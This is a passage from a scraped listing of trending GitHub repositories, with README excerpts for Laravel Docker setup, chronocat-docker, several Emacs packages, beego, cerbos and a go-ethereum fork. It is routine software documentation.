REDIS_PORT=6379

If you already have an application, you can move it to the application directory here. Else, you can adjust the shared volume file paths within the docker-compose.yml file.

If you edit the docker-compose.yml file, run docker-compose down; docker-compose up -d to suck in the new Volume settings.

NOTE: If you're not running Docker Mac/Windows (which run Docker in a small virtualized layer), you may need to set permissions on the shared directories that Laravel needs to write to. The following will let Laravel write the storage and bootstrap directories:

# From directory php-app
chmod -R o+rw application/bootstrap application/storage

3. (Optionally) Add Auth Scaffolding:

If you'd like, we can add Laravel's Auth scaffolding as well. To do that, we need to run some Artisan commands:

# Scaffold authentication views/routes
docker run -it --rm \
    -v $(pwd)/application:/opt \
    -w /opt \
    --network=phpapp_appnet \
    shippingdocker/php \
    php artisan make:auth

# Run migrations for auth scaffolding
docker run -it --rm \
    -v $(pwd)/application:/opt \
    -w /opt \
    --network=phpapp_appnet \
    shippingdocker/php \
    php artisan migrate

Now we can start using our application! Head to http://localhost/register to see your Laravel application with auth scaffolding in place.

yuuki-nya/chronocat-docker

2023-10-29T01:50:29Z

本仓库是学习docker的打包与自动化构建，请下载后24小时内删除

chronocat-docker

本仓库是学习docker的打包与自动化构建，请下载后24小时内删除

使用

快速运行

docker run -d --name chronocat-docker -e VNC_PASSWD=vncpasswd -p 5500:5500 -p 5900:5900 -p 6081:6081 -p 16530:16530 -v ${PWD}/config:/root/.chronocat/config yuukinya/chronocat-docker

其中vncpasswd换成你的VNC密码

或者下载代码中的docker-compose.yml，然后执行

docker-compose up -d

数据固化（可选）

先完成上面的快速运行，保证容器在运行状态

# 进入项目目录
mkdir data
# 复制数据到data目录
docker cp chronocat-docker:/root/.config/QQ ./data

如果之前是docker run运行的，执行

docker run -d --name chronocat-docker -e VNC_PASSWD=vncpasswd -p 5500:5500 -p 5900:5900 -p 6081:6081 -p 16530:16530 -v ${PWD}/config:/root/.chronocat/config -v ${PWD}/data/QQ:/root/.config/QQ yuukinya/chronocat-docker

如果之前是docker-compose运行的，编辑docker-compose.yml，把volumes下两行的开头注释去掉，保存，再执行

docker-compose up -d

noVNC登陆

浏览器访问http://服务器IP:6081，默认密码是vncpasswd

VNC登陆

使用VNC软件登陆服务器IP:5900，默认密码是vncpasswd

修改chronocat配置

修改当前目录/config/chronocat.yml，修改后重启容器即可

修改VNC密码

docker exec chronocat-docker sh -c "x11vnc -storepasswd newpasswd /root/.vnc/passwd"

其中newpasswd换成你的新密码，立即生效，无需重启容器

如何更新

本镜像一般不会只更新chronocat，如果需要只更新chronocat可以使用LiteLoaderQQNT自行更新

更新前请做好数据备份，比如数据固化

删除容器并删除镜像，下面是代码示例

docker rm -f chronocat-docker && docker rmi yuukinya/chronocat-docker

重新pull最近镜像
```
docker pull yuukinya/chronocat-docker
```
按照前面的使用教程操作

已知问题

容器重启后，桌面的任务栏可能会消失，如果触发了请不要缩小或者点叉关闭，建议保持在聊天的界面，再关闭VNC远程
合并转发不可用在Linux版本

TODO

能固化已登陆的数据
使用docker的environment来指定VNC密码

更新日志

2023-10-19

更新chronocat至0.0.54

2023-10-17

更新chronocat至0.0.53

2023-10-13

更新chronocat至0.0.52
新增satori默认端口

2023-10-3

更新chronocat至0.0.48
使用docker的environment来指定VNC密码 Issue #2
新增noVNC，使用浏览器来登陆VNC Issue #2

感谢 ZGLinus提供的思路和代码

2023-9-25

更新chronocat至0.0.46
修改chronocat配置映射至宿主机
固化已登陆数据 Issue #1

2023-9-22

初始版本

shuttlenetwork/shuttle

2023-10-29T01:31:03Z

Experience the global internet using Shuttle, the swiftest and most uncluttered proxy solution. Relish a heightened level of privacy during your online sessions, free from censorship.

Rs-py/tesla

2023-10-29T01:31:03Z

This is a simple, compact nodejs site to show someone how much money they would save if they switched to a Tesla from a gas vehicle.

shuttlenetwork/shuttle

2023-10-29T01:51:28Z

Experience the global internet using Shuttle, the swiftest and most uncluttered proxy solution. Relish a heightened level of privacy during your online sessions, free from censorship.

Kritika30032002/Blog_Website

2023-10-29T01:51:28Z

This is a blog website where user can compose their blogs. The blogs are saved in database.

spawnfest/heimdall

2023-10-30T01:27:29Z

spawnfest/kumite

2023-10-30T01:27:29Z

BeaconCMS/beacon_live_admin

2023-10-29T01:51:32Z

Admin UI to manage content for sites built by Beacon.

elm-in-elm/compiler

2023-10-30T01:27:25Z

Elm compiler written in Elm

liuyinz/mini-echo.el

2023-10-29T01:31:13Z

Show buffer status in echo area , get rid of mode-line!

mini-echo.el

Echo buffer status in minibuffer window instead of mode-line. A lightweight replacement of mini-modeline

mini-echo.el
- Screenshot
- Install
  - dependencies
  - package
- Feature
- Usage
- Customization
- Similar Package
- Todo
- FAQ

Screenshot

Install

dependencies

Emacs, version >= 28.1

package

Manually

Clone and add to load-path, require the package.

Melpa

Warning: This package isn't available in melpa yet.

~~This package is available on [MELPA].~~ Install with M-x package-install RET binky within Emacs.

Feature

light-weight, very simple structure and no many configs
don't use mode-line at all, same experience in terminal
port lots of segments from doom-modeline
easy to add new segment with macro

Usage

(require 'mini-echo)
(mini-echo-mode)

There are three ways to adjust mini-echo segments display:

mini-echo-default-segments: variable, plist of segments which are default to all major-modes

;; set default segments of long/short style
(setq mini-echo-default-segments
  '(:long ("major-mode" "buffer-name" "vcs" "buffer-position"
           "buffer-size" "flymake" "process" "selection-info"
           "narrow" "macro" "profiler")
    :short ("buffer-name-short" "buffer-position" "process"
            "profiler" "selection-info" "narrow" "macro")))

mini-echo-rules: variable, list of rules which are only take effect in some major mode, the format is as below:

;; Concell of (SEGMENT . POSITION) is required to adjust the appearence.
;; 0 means hide the segment in major mode if it's displayed by default.
;; non-zero number means the order of segment to be put, it's counted from 1.
(setq mini-echo-rules
      '((emacs-lisp-mode :long (("evil" . 1) ("buffer-size" . 4))
                         :short (("vcs" . 0)))))

Example meaning: when emacs-lisp-mode is enabled, long-style shows "evil" segment in first place, shows "buffer-size" segment in fourth place (right-align). short-style hide "vcs" segment.

mini-echo-toggle: command, show or hide some segment temporarily

Other options are here, see more info please check the file

;; write your own predicate function to switch style
(setq mini-echo-short-style-predicate #'your-own-predicate)

;; set separator to concat information
(setq mini-echo-separator " ")

;; adjust window-divider-mode appearence
(setq mini-echo-window-divider-args '(t 1 1))

;;; adjust update interval as you wish
(setq mini-echo-update-interval 0.3)

;;; adjust the number to avoid truncation or wrap line of minibuffer window
(setq mini-echo-right-padding 1)

Customization

Write a segment with mini-echo-define-segment, e.g.

keywords format:

:fetch: sexp, which runs when mini-echo update by interval.
:update: sexp, which runs when :hook or :advice is triggered.
:update-hook: list of hooks which run :update after it called, e.g. update "vcs" status after run find-file-hook
:update-advice: alist of (symbol . how) which runs :update after it called, e.g. update "vcs" status after run vc-refresh-state
:setup: sexp, which runs when the segment is first activated , e.g. load library keycast when activate keycast segment.

(mini-echo-define-segment "vcs"
  "Return vcs info of current buffer."
  :fetch mini-echo--vcs-status
  :update-hook '(find-file-hook after-save-hook after-revert-hook)
  :update-advice '((vc-refresh-state . :after))
  :update
  (setq mini-echo--vcs-status
        (when (and vc-mode buffer-file-name)
          (let* ((backend (vc-backend buffer-file-name))
                 (branch (substring vc-mode (+ (if (eq backend 'Hg) 2 3) 2)))
                 (limit mini-echo-vcs-max-length)
                 (face (cl-case (vc-state buffer-file-name backend)
                         (needs-update 'warning)
                         ((removed conflict unregistered) 'error)
                         (t 'success))))
            (propertize (concat "@" (if (> (length branch) limit)
                                        (concat (substring branch 0 (- limit 3))
                                                "..")
                                      branch))
                        'face `(:inherit (,face bold)))))))

(mini-echo-define-segment "time"
  "Return current time info."
  :fetch
  (propertize display-time-string 'face 'mini-echo-time)
  :setup (display-time-mode 1))

(mini-echo-define-segment "keycast"
  "Display keycast info."
  :update-hook '(post-command-hook)
  :fetch
  (keycast--format mini-echo-keycast-format)
  :update
  (keycast--update)
  :setup (require 'keycast))

For more information, please see mini-echo-segments.el.

Similar Package

Todo

rewrite mini-echo-define-macro
add minibuffer background to distinguish in terminal
setup segments per buffer
add environment support, such as python, node.js, asdf...
add support to highlight current window

FAQ

How to distinguish current window ?

Highlight current window is still on development, you could set hl-line-mode, or use some dim other window package for now. e.g.

;; or (global-hl-line-mode)
(hl-line-mode)
;; Only highliht current buffer in current window
(setq hl-line-sticky-flag nil)
(setq global-hl-line-sticky-flag nil)

How to show window border in terminal?

Due to window-divider-mode is not available in terminal, you need to use other measures to identify window. In terminal, internal-border is displayed, so only need to solve horizontal border problem. Enable packages like tabbar or topsy to help highlight horizontal border instead.

emacs-lsp/lsp-ui

2023-10-29T01:51:39Z

UI integrations for lsp-mode

lsp-ui

Table of Contents

lsp-ui

Intro

This package contains all the higher level UI modules of lsp-mode, like flycheck support and code lenses.

By default, lsp-mode automatically activates lsp-ui unless lsp-auto-configure is set to nil.

You only have to put (use-package lsp-ui) in your config and the package will work out of the box. (use-package)

Or use the builtin package manager.

M-x package-install [RET] lsp-ui [RET]

lsp-ui-sideline:

Show informations of the symbols on the current line. It also show flycheck diagnostics and LSP code actions

Customization:

lsp-ui-sideline-show-diagnostics show diagnostics messages in sideline
lsp-ui-sideline-show-hover show hover messages in sideline
lsp-ui-sideline-show-code-actions show code actions in sideline
lsp-ui-sideline-update-mode When set to 'line' the information will be updated when user changes current line otherwise the information will be updated when user changes current point
lsp-ui-sideline-delay seconds to wait before showing sideline

lsp-ui-peek:

Add peek feature

You may remap xref-find-{definitions,references} (bound to M-. M-? by default):

(define-key lsp-ui-mode-map [remap xref-find-definitions] #'lsp-ui-peek-find-definitions)
(define-key lsp-ui-mode-map [remap xref-find-references] #'lsp-ui-peek-find-references)

There is a window-local jump list dedicated to cross references:

(lsp-ui-peek-jump-backward)
(lsp-ui-peek-jump-forward)

Other cross references:

(lsp-ui-peek-find-workspace-symbol "pattern 0")
;; If the server supports custom cross references
(lsp-ui-peek-find-custom 'base "$cquery/base")

Customization:

lsp-ui-peek-enable enable ‘lsp-ui-peek’
lsp-ui-peek-show-directory show the directory of files

lsp-ui-doc

Show object documentation at point in a child frame.

Show documentation in a WebKit widget

Focus into lsp-ui-doc-frame

Customization:

lsp-ui-doc-enable enable lsp-ui-doc
lsp-ui-doc-position Where to display the doc
lsp-ui-doc-delay Number of seconds before showing the doc
lsp-ui-doc-show-with-cursor When non-nil, move the cursor over a symbol to show the doc
lsp-ui-doc-show-with-mouse When non-nil, move the mouse pointer over a symbol to show the doc

lsp-ui-imenu

Show imenu entries.

Customization:

lsp-ui-imenu-kind-position place to show entries kind
lsp-ui-imenu-buffer-position place to show the buffer window
lsp-ui-imenu-window-width set window width
lsp-ui-imenu-window-fix-width when non-nil, the window will not be resizable (eg. unaffected by balance-windows)
lsp-ui-imenu--custom-mode-line-format mode line format
lsp-ui-imenu-auto-refresh auto refresh when necessary
lsp-ui-imenu-refresh-delay delay to refresh imenu

Contributing

Any kind of help is appreciated. If you want to help us maintaining this package, leave a note.

thierryvolpiatto/wfnames

2023-10-29T01:51:39Z

Edit filenames like Wdired

#+TITLE: Wfnames

Allows editing filenames.

Features

Allows editing lists of absolute files, this allows editing the directory parts as well.

Modified lines are highlighted, maybe in a different color when about to overwrite an existing file.

File completion is provided.

Not tighted to a directory, allows editing files from various directories.

Do not provide edition of permissions and will not.

Motivation

Wdired must be patched to allow editing a list of absolute filenames in Emacs versions before Emacs-29. Also Wdired depends on a default directory which is not relevant and prone to errors when editing absolute filenames that come from various directories. Using this package in Helm allows getting rid of Wdired advices (that have been merged in Emacs-29+).

Install

This package have no user interface, but you can easily use it with [[https://github.com/emacs-helm/helm][Helm]] package by customizing =helm-ff-edit-marked-files-fn= variable. If you are not using [[https://github.com/emacs-helm/helm][Helm]] you will have to define yourself a function that call =wfnames-setup-buffer= with a list of files as argument.

Usage

Once in the Wfnames buffer, edit your filenames and hit =C-c C-c= to save your changes. You have completion on filenames and directories with =TAB= but if you are using [[https://github.com/victorhge/iedit][Iedit]] package and it is in action use =M-TAB=.

svaante/dape

2023-10-29T01:51:39Z

Debug Adapter Protocol for Emacs

#+title: Dape - Debug Adapter Protocol for Emacs #+author: Daniel Pettersson #+property: header-args :results silent #+language: en

Dape is an debug adapter client for Emacs.

Use ~~dape-configs~~ to set up your debug adapter configurations. To initiate debugging sessions, use the command ~~dape~~.

For complete functionality, activate ~~eldoc-mode~~ in your source buffers and enable ~~repeat-mode~~ for ergonomics.

Features

Log breakpoints
Conditional breakpoints
Variable explorer
Variable watch
Variable hover with ~~eldoc~~
REPL
Memory viewer with ~~hexl~~
~~compile~~ integration
Debug adapter configuration ergonomics
No dependencies
Inline variable hints (experimental)

[[https://raw.githubusercontent.com/svaante/dape/resources/screenshot.png]]

[[https://raw.githubusercontent.com/svaante/dape/resources/screenshot_inline.png]]

Screenshots taken with [[https://github.com/protesilaos/ef-themes][ef-trio-dark]].

Configuration Currently =Dape= does not come with any debug adapter configuration.

#+begin_src emacs-lisp (use-package dape ;; Currently only on github :straight (dape :type git :host github :repo "svaante/dape") :config ;; Add inline variable hints, this feature is highly experimental ;; (setq dape-inline-variables t)

;; To remove info buffer on startup
;; (remove-hook 'dape-on-start-hooks 'dape-info)

;; To remove repl buffer on startup
;; (remove-hook 'dape-on-start-hooks 'dape-repl)

;; By default dape uses gdb keybinding prefix
;; (setq dape-key-prefix "\C-x\C-a")

;; Kill compile buffer on build success
;; (add-hook 'dape-compile-compile-hooks 'kill-buffer)

;; Projectile users
;; (setq dape-cwd-fn 'projectile-project-root)
)

#+end_src

Differences with dap-mode [[https://github.com/emacs-lsp/dap-mode][dap-mode]] is the most popular alternative and is of course much more mature and probably more feature rich (have not used ~~dap-mode~~ extensively).

Dape has no dependencies outside of packages included in emacs, and tries to use get as much out of them possible.

Dape takes a slightly different approach to configuration.

Dape does not support ~~launch.json~~ files, if per project configuration is needed use ~~dir-locals~~.
Tries to simplify configuration, by having just a plist.
Dape tries to improve config ergonomics in ~~dape~~ completing-read by using options to change/add plist entries in an already existing config, example: ~~adapter-config :program ＂/home/user/b.out＂ compile ＂gcc -g -o b.out main.c＂~~.
No magic, no special variables. Instead, functions and variables are resolved before starting a new session.
No batteries included. Many, suffer from a significant drawback: they're tightly coupled with the vscode extension they're bundled with. This tight coupling results in launch/attach requests being specific to each adapter, devoid of reasonable defaults as they are stored within the extension itself, leading to an ever-changing and unstable API. Consequently, attempting to include default configurations for each adapter seems like a losing proposition.
Tries to be envision to how debug adapter configuration would be implemented in emacs if vscode never existed.

Supported debug adapters In theory all debug adapters should be compatible with =Dape=.

** Javascript - vscode-js-debug To install ~~vscode-js-debug~~ pull down the [[https://github.com/microsoft/vscode-js-debug][repo]]. #+begin_src sh npm install npx gulp dapDebugServer #+end_src

Example launch configuration for ~~node~~. #+begin_src emacs-lisp (add-to-list 'dape-configs `(vscode-js-node modes (js-mode js-ts-mode) host "localhost" port 8123 command "node" command-cwd "path/to/vscode-js-debug/dist/" command-args ("src/dapDebugServer.js" "8123") :type "pwa-node" :request "launch" :cwd dape-cwd-fn :program dape-find-file-buffer-default :outputCapture "console" :sourceMapRenames t :pauseForSourceMap nil :enableContentValidation t :autoAttachChildProcesses t :console "internalConsole" :killBehavior "forceful")) #+end_src

For more information see [[https://github.com/microsoft/vscode-js-debug/blob/main/OPTIONS.md][OPTIONS.md]].

** Go - delve See [[https://github.com/go-delve/delve/tree/master/Documentation/installation][delve installation]].

#+begin_src emacs-lisp (add-to-list 'dape-configs `(delve modes (go-mode go-ts-mode) command "dlv" command-args ("dap" "--listen" "127.0.0.1:55878") command-cwd dape-cwd-fn host "127.0.0.1" port 55878 :type "debug" :request "launch" :cwd dape-cwd-fn :program dape-cwd-fn)) #+end_src

For more information see [[https://github.com/go-delve/delve/blob/master/Documentation/usage/dlv_dap.md][documentation]].

** C, C++ and Rust Download latest [[https://github.com/vadimcn/codelldb/releases][release]] and unpack ~~vsix~~ file with your favorite unzipper.

#+begin_src emacs-lisp (add-to-list 'dape-configs '(codelldb modes (c-mode c-ts-mode c++-mode c++-ts-mode ;; Uncomment the following if you use rust-mode ;; rust-mode rust-ts-mode ) ;; Replace vadimcn.vscode-lldb with the vsix directory you just extracted command "path/to/vadimcn.vscode-lldb/adapter/codelldb" host "localhost" port 5818 command-args ("--port" "5818") :type "lldb" :request "launch" :cwd dape-cwd-fn :program dape-find-file)) #+end_src

See [[https://github.com/vadimcn/codelldb/blob/v1.10.0/MANUAL.md][manual]] for more information.

** C and C++ - cppdbg Download latest [[https://github.com/microsoft/vscode-cpptools/releases][release]] and unpack ~~vsix~~ file with your favorite unzipper. Then ~~chmod +x debugAdapters/bin/OpenDebugAD7~~.

#+begin_src emacs-lisp ;; Replace ms-vscode.cpptools with the vsix directory you just extracted (setq dape-cppdbg-command "path/to/ms-vscode.cpptools/debugAdapters/bin/OpenDebugAD7") (add-to-list 'dape-configs `(cppdbg modes (c-mode c-ts-mode c++-mode c++-ts-mode) command-cwd ,(file-name-directory dape-cppdbg-command) command dape-cppdbg-command :type "cppdbg" :request "launch" :cwd dape-cwd-fn :program dape-find-file :MIMode ,(cond ((executable-find "gdb") "gdb") ((executable-find "lldb") "lldb")))) #+end_src

See [[https://code.visualstudio.com/docs/cpp/launch-json-reference][options]].

** Python - debugpy Install debugpy with pip ~~pip install debugpy~~

#+begin_src emacs-lisp (add-to-list 'dape-configs `(debugpy modes (python-ts-mode python-mode) command "python3" command-args ("-m" "debugpy.adapter") :type "executable" :request "launch" :cwd dape-cwd-fn :program dape-find-file-buffer-default)) #+end_src

See [[https://github.com/microsoft/debugpy/wiki/Debug-configuration-settings][options]].

** Godot Configure debug adapter port under "Editor" -> "Editor Settings" -> "Debug Adapter".

#+begin_src emacs-lisp (add-to-list 'dape-configs '(godot-launch modes (gdscript-mode) host "127.0.0.1" port 6006 :type "server" :request "launch")) #+end_src

** Other untested adapters If you find a working configuration for any other debug adapter please submit a PR.

See [[https://microsoft.github.io/debug-adapter-protocol/implementors/adapters/][microsofts list]] for other adapters, your mileage will vary.

Roadmap

More options for indicator placement
Improving completion in REPL
Usage of "setVariable" inside of ~~dape-info~~ buffer
Improve memory reader with auto reload and write functionality
Individual thread controls
Variable values displayed in source buffer, this seams to require integration with lsp-mode and eglot

Bugs and issues Before reporting any issues take a look at ~~dape-debug~~ buffer with all debug messages enabled. ~~(setq dape--debug-on '(io info error std-server))~~.

BL-MSCH-C220/Exercise-4-4-Enemies

2023-10-29T01:31:59Z

Simple controllable character that you can use to run around in your Godot level.

ephread/inkgd

2023-10-29T01:31:59Z

Implementation of inkle's Ink in pure GDScript for Godot, with editor support.

BL-MSCH-C220/Exercise-4-2-State-Machine

2023-10-29T01:52:34Z

Exercise for MSCH-C220

BenjaTK/Gaea

2023-10-29T01:52:34Z

Procedural generation add-on for Godot 4.

Rhythia/Rhythia

2023-10-29T01:52:34Z

Rhythia is an aim-based rhythm game

Crowdar/lippia-low-code-sample-project

2023-10-29T01:52:47Z

quic/snapdragon-gsr

2023-10-30T01:28:30Z

beego/beego

2023-10-29T01:32:26Z

beego is an open-source, high-performance web framework for the Go programming language.

Beego

Beego is used for rapid development of enterprise application in Go, including RESTful APIs, web apps and backend services.

It is inspired by Tornado, Sinatra and Flask. beego has some Go-specific features such as interfaces and struct embedding.

Beego is composed of four parts:

Base modules: including log module, config module, governor module;
Task: is used for running timed tasks or periodic tasks;
Client: including ORM module, httplib module, cache module;
Server: including web module. We will support gRPC in the future;

Please use RELEASE version, or master branch which contains the latest bug fix

We will remove the adapter package in v2.2.0 which will be released in Aug 2023

Quick Start

Old Doc - github New Doc Website Example

Kindly remind that sometimes the HTTPS certificate is expired, you may get some NOT SECURE warning

Web Application

Create `hello` directory, cd `hello` directory

mkdir hello
cd hello

Init module

go mod init

Download and install

go get github.com/beego/beego/v2@latest

Create file `hello.go`

package main

import "github.com/beego/beego/v2/server/web"

func main() {
	web.Run()
}

Build and run

go build hello.go
./hello

Go to http://localhost:8080

Congratulations! You've just built your first beego app.

Features

RESTful support
MVC architecture
Modularity
Auto API documents
Annotation router
Namespace
Powerful development tools
Full stack for Web & API

Modules

Community

Welcome to join us in Slack: https://beego.slack.com invite,
QQ Group ID:523992905
Contribution Guide.

License

beego source code is licensed under the Apache Licence, Version 2.0 (https://www.apache.org/licenses/LICENSE-2.0.html).

cerbos/cerbos

2023-10-30T01:28:35Z

Cerbos is the open core, language-agnostic, scalable authorization solution that makes user permissions and authorization simple to implement and manage by writing context-aware access control policies for your application resources.

What is Cerbos?

Cerbos is an authorization layer that evolves with your product. It enables you to define powerful, context-aware access control rules for your application resources in simple, intuitive YAML policies; managed and deployed via your Git-ops infrastructure. It provides highly available APIs to make simple requests to evaluate policies and make dynamic access decisions for your application.

Key concepts, at a glance 👀

PRINCIPAL: oftentimes just the "user", but can also represent: other applications, services, bots or anything you can think of. The "thing" that's trying to carry out an... ↙️

ACTION: a specific task. Whether it be to create, view, update, delete, acknowledge, approve... anything at all. The principal might have permission to do all actions, or maybe just one or two. The actions are carried out on a... ↙️

RESOURCE: the thing you're controlling access to. Could be anything, e.g. in an expense management system; reports, receipts, card details, payment records, etc. You define resources in Cerbos by writing... ↙️

POLICIES: YAML files where you define the access rules for each resource, following a simple, structured format. Stored either: on disk, in cloud object stores, git repos, or dynamically in supported databases. These are continually monitored by the... ↙️

CERBOS PDP: the Policy Decision Point: the stateless service where policies are executed and decisions are made. This runs as a separate process, in kube (as a service or a sidecar), directly as a systemd service or as an AWS Lambda function. Once deployed, the PDP provides two primary APIs...

CheckResources: "Can this principal access this resource?"
PlanResources: "Which of resource kind=X can this principal access?"

These APIs can be called via cURL, or in production via one of our many... ↙️

SDKs: you can see the list here. There are also a growing number of query plan adapters, to convert the SDK PlanResources responses to a convenient query instance.

RBAC -> ABAC: If simple RBAC doesn't cut it, you can extend the decision-making by implementing attribute based rules. Implement conditions in your resource policies which are evaluated dynamically at runtime using contextual data, for much more granular control. Add conditions in derived roles to dynamically extend the RBAC roles. Or use principal policies for more particular overrides for a specific user.

Learn more

Get up and running quickly with our quickstart, or build an example implemention in our tutorial
See example policies and requests
Read the full documentation
Explore some of our demo repositories
Try online with the Cerbos playground

Used by

Cerbos is popular among large and small organizations:

Using Cerbos? Let us know by emailing devrel@cerbos.dev.

Installation

Examples

Resource policy

Write access rules for a resource.

---
apiVersion: api.cerbos.dev/v1
resourcePolicy:
  importDerivedRoles:
    - common_roles
  resource: "album:object"
  version: "default"
  rules:
    - actions: ['*']
      effect: EFFECT_ALLOW
      derivedRoles:
        - owner

    - actions: ['view', 'flag']
      effect: EFFECT_ALLOW
      roles:
        - user
      condition:
        match:
          expr: request.resource.attr.public == true

    - actions: ['view', 'delete']
      effect: EFFECT_ALLOW
      derivedRoles:
        - abuse_moderator

Derived roles

Dynamically assign new roles to users based on contextual data.

---
apiVersion: "api.cerbos.dev/v1"
derivedRoles:
  name: common_roles
  definitions:
    - name: owner
      parentRoles: ["user"]
      condition:
        match:
          expr: request.resource.attr.owner == request.principal.id

    - name: abuse_moderator
      parentRoles: ["moderator"]
      condition:
        match:
          expr: request.resource.attr.flagged == true

API request

cat <<EOF | curl --silent "http://localhost:3592/api/check/resources?pretty" -d @-
{
  "requestId": "test01",
  "includeMeta": true,
  "principal": {
    "id": "alicia",
    "roles": [
      "user"
    ]
  },
  "resources": [
    {
      "actions": [
        "view"
      ],
      "resource": {
        "id": "XX125",
        "kind": "album:object",
        "attr": {
          "owner": "alicia",
          "public": false,
          "flagged": false
        }
      }
    }
  ]
}
EOF

API response

{
  "requestId": "test01",
  "results": [
    {
      "resource": {
        "id": "XX125",
        "kind": "album:object",
        "policyVersion": "default"
      },
      "actions": {
        "view": "EFFECT_ALLOW"
      },
      "meta": {
        "actions": {
          "view": {
            "matchedPolicy": "resource.album_object.vdefault"
          }
        },
        "effectiveDerivedRoles": [
          "owner"
        ]
      }
    }
  ]
}

Client SDKs

Query plan adapters

Telemetry

We collect anonymous usage data to help us improve the product. You can opt out by setting the CERBOS_NO_TELEMETRY=1 environment variable. For more information about what data we collect and other ways to opt out, see the telemetry documentation.

Join the community 💬

Join Slack 👇

Subscribe to our Newsletter

Contributing ⌨️

Check out how to contribute.

Stargazers ⭐

SidraChain/go-ethereum

2023-10-30T01:28:35Z

Forked Golang execution layer implementation of the Ethereum protocol.

Go Ethereum

Official Golang execution layer implementation of the Ethereum protocol.

Automated builds are available for stable releases and the unstable master branch. Binary archives are published at https://geth.ethereum.org/downloads/.

Building the source

For prerequisites and detailed build instructions please read the Installation Instructions.

Building geth requires both a Go (version 1.19 or later) and a C compiler. You can install them using your favourite package manager. Once the dependencies are installed, run

make geth

or, to build the full suite of utilities:

make all

Executables

The go-ethereum project comes with several wrappers/executables found in the cmd directory.

Command	Description
`geth`	Our main Ethereum CLI client. It is the entry point into the Ethereum network (main-, test- or private net), capable of running as a full node (default), archive node (retaining all historical state) or a light node (retrieving data live). It can be used by other processes as a gateway into the Ethereum network via JSON RPC endpoints exposed on top of HTTP, WebSocket and/or IPC transports. `geth --help` and the CLI page for command line options.
`clef`	Stand-alone signing tool, which can be used as a backend signer for `geth`.
`devp2p`	Utilities to interact with nodes on the networking layer, without running a full blockchain.
`abigen`	Source code generator to convert Ethereum contract definitions into easy-to-use, compile-time type-safe Go packages. It operates on plain Ethereum contract ABIs with expanded functionality if the contract bytecode is also available. However, it also accepts Solidity source files, making development much more streamlined. Please see our Native DApps page for details.
`bootnode`	Stripped down version of our Ethereum client implementation that only takes part in the network node discovery protocol, but does not run any of the higher level application protocols. It can be used as a lightweight bootstrap node to aid in finding peers in private networks.
`evm`	Developer utility version of the EVM (Ethereum Virtual Machine) that is capable of running bytecode snippets within a configurable environment and execution mode. Its purpose is to allow isolated, fine-grained debugging of EVM opcodes (e.g. `evm --code 60ff60ff --debug run`).
`rlpdump`	Developer utility tool to convert binary RLP (Recursive Length Prefix) dumps (data encoding used by the Ethereum protocol both network as well as consensus wise) to user-friendlier hierarchical representation (e.g. `rlpdump --hex CE0183FFFFFFC4C304050583616263`).

Running `geth`

Going through all the possible command line flags is out of scope here (please consult our CLI Wiki page), but we've enumerated a few common parameter combos to get you up to speed quickly on how you can run your own geth instance.

Hardware Requirements

Minimum:

CPU with 2+ cores
4GB RAM
1TB free storage space to sync the Mainnet
8 MBit/sec download Internet service

Recommended:

Fast CPU with 4+ cores
16GB+ RAM
High-performance SSD with at least 1TB of free space
25+ MBit/sec download Internet service

Full node on the main Ethereum network

By far the most common scenario is people wanting to simply interact with the Ethereum network: create accounts; transfer funds; deploy and interact with contracts. For this particular use case, the user doesn't care about years-old historical data, so we can sync quickly to the current state of the network. To do so:

$ geth console

This command will:

Start geth in snap sync mode (default, can be changed with the --syncmode flag), causing it to download more data in exchange for avoiding processing the entire history of the Ethereum network, which is very CPU intensive.
Start the built-in interactive JavaScript console, (via the trailing console subcommand) through which you can interact using web3 methods (note: the web3 version bundled within geth is very old, and not up to date with official docs), as well as geth's own management APIs. This tool is optional and if you leave it out you can always attach it to an already running geth instance with geth attach.

A Full node on the Görli test network

Transitioning towards developers, if you'd like to play around with creating Ethereum contracts, you almost certainly would like to do that without any real money involved until you get the hang of the entire system. In other words, instead of attaching to the main network, you want to join the test network with your node, which is fully equivalent to the main network, but with play-Ether only.

$ geth --goerli console

The console subcommand has the same meaning as above and is equally useful on the testnet too.

Specifying the --goerli flag, however, will reconfigure your geth instance a bit:

Instead of connecting to the main Ethereum network, the client will connect to the Görli test network, which uses different P2P bootnodes, different network IDs and genesis states.
Instead of using the default data directory (~/.ethereum on Linux for example), geth will nest itself one level deeper into a goerli subfolder (~/.ethereum/goerli on Linux). Note, on OSX and Linux this also means that attaching to a running testnet node requires the use of a custom endpoint since geth attach will try to attach to a production node endpoint by default, e.g., geth attach <datadir>/goerli/geth.ipc. Windows users are not affected by this.

Note: Although some internal protective measures prevent transactions from crossing over between the main network and test network, you should always use separate accounts for play and real money. Unless you manually move accounts, geth will by default correctly separate the two networks and will not make any accounts available between them.

Configuration

As an alternative to passing the numerous flags to the geth binary, you can also pass a configuration file via:

$ geth --config /path/to/your_config.toml

To get an idea of how the file should look like you can use the dumpconfig subcommand to export your existing configuration:

$ geth --your-favourite-flags dumpconfig

Note: This works only with geth v1.6.0 and above.

Docker quick start

One of the quickest ways to get Ethereum up and running on your machine is by using Docker:

docker run -d --name ethereum-node -v /Users/alice/ethereum:/root \
           -p 8545:8545 -p 30303:30303 \
           ethereum/client-go

This will start geth in snap-sync mode with a DB memory allowance of 1GB, as the above command does. It will also create a persistent volume in your home directory for saving your blockchain as well as map the default ports. There is also an alpine tag available for a slim version of the image.

Do not forget --http.addr 0.0.0.0, if you want to access RPC from other containers and/or hosts. By default, geth binds to the local interface and RPC endpoints are not accessible from the outside.

Programmatically interfacing `geth` nodes

As a developer, sooner rather than later you'll want to start interacting with geth and the Ethereum network via your own programs and not manually through the console. To aid this, geth has built-in support for a JSON-RPC based APIs (standard APIs and geth specific APIs). These can be exposed via HTTP, WebSockets and IPC (UNIX sockets on UNIX based platforms, and named pipes on Windows).

The IPC interface is enabled by default and exposes all the APIs supported by geth, whereas the HTTP and WS interfaces need to manually be enabled and only expose a subset of APIs due to security reasons. These can be turned on/off and configured as you'd expect.

HTTP based JSON-RPC API options:

--http Enable the HTTP-RPC server
--http.addr HTTP-RPC server listening interface (default: localhost)
--http.port HTTP-RPC server listening port (default: 8545)
--http.api API's offered over the HTTP-RPC interface (default: eth,net,web3)
--http.corsdomain Comma separated list of domains from which to accept cross origin requests (browser enforced)
--ws Enable the WS-RPC server
--ws.addr WS-RPC server listening interface (default: localhost)
--ws.port WS-RPC server listening port (default: 8546)
--ws.api API's offered over the WS-RPC interface (default: eth,net,web3)
--ws.origins Origins from which to accept WebSocket requests
--ipcdisable Disable the IPC-RPC server
--ipcapi API's offered over the IPC-RPC interface (default: admin,debug,eth,miner,net,personal,txpool,web3)
